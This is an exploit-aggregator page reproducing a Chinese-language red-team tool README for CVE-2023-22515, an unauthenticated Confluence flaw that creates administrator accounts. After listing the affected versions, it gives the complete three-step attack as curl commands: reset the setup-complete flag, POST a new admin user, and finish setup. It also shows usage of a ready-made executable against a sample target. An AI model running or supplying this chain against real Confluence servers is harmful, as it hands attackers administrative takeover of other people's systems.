Sploitus

Exploit for CVE-2023-22515

kitploit · 2026-09-03

Exploit Code

MARKDOWN98 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AD-CALCIUM-CVE-2023-22515
# 红队工具-Confluence未授权添加管理员用户(CVE-2023-22515)漏洞利用工具

## 漏洞影响范围

root@kitploit:~
    
    
    8.0.0 <= Confluence Data Center and Confluence Server <= 8.0.4
    8.1.0 <= Confluence Data Center and Confluence Server <= 8.1.4
    8.2.0 <= Confluence Data Center and Confluence Server <= 8.2.3
    8.3.0 <= Confluence Data Center and Confluence Server <= 8.3.2
    8.4.0 <= Confluence Data Center and Confluence Server <= 8.4.2
    8.5.0 <= Confluence Data Center and Confluence Server <= 8.5.1
    

## 漏洞利用

### 1.正常访问，提示已经完成安装

root@kitploit:~
    
    
    curl -vk http://IP/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
    

### 2.创建管理员用户

root@kitploit:~
    
    
    test123 Password2
    

执行如下命令

root@kitploit:~
    
    
    curl -vk -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=test123&fullName=test123&email=test123@localhost&password=Password2&confirm=Password2&setup-next-button=Next" http://IP/setup/setupadministrator.action
    

### 3.设置已完成

root@kitploit:~
    
    
    curl -vk -X POST -H "X-Atlassian-Token: no-check" http://IP/setup/finishsetup.action
    

## 用法

root@kitploit:~
    
    
    cve-2023-22515.exe
    Usage of cve-2023-22515.exe:
      -pass string
            指定要添加的密码
      -proxy string
            设置代理
      -u string
            指定目标
      -user string
            指定要添加的用户名
    

### 随机账号密码

root@kitploit:~
    
    
    cve-2023-22515.exe -u http://10.108.3.117:8090
    

![image-2023101116485852](https://assets.kitploit.com/production/public/readmes/22170/a05fc2bd58497e88f47fe2bd16e0279ba365ded6a14beeaa0982fa62b96404f4.png)

### 手动添加管理员用户

root@kitploit:~
    
    
    cve-2023-22515.exe -u http://10.108.3.117:8090 -user tesxe17 -pass Password2
    

![image-20231011164858593](https://assets.kitploit.com/production/public/readmes/22170/47456beb85bff5eb98c58fd4c9c08e715e46d6895b35f8b163968eb15ff54ecd.png)

## 更新日志

root@kitploit:~
    
    
    [+] 2023/10/16 增加随机用户名密码
    

## Star History

![Star History Chart](https://api.star-history.com/svg?repos=ad-calcium/CVE-2023-22515&type=Date)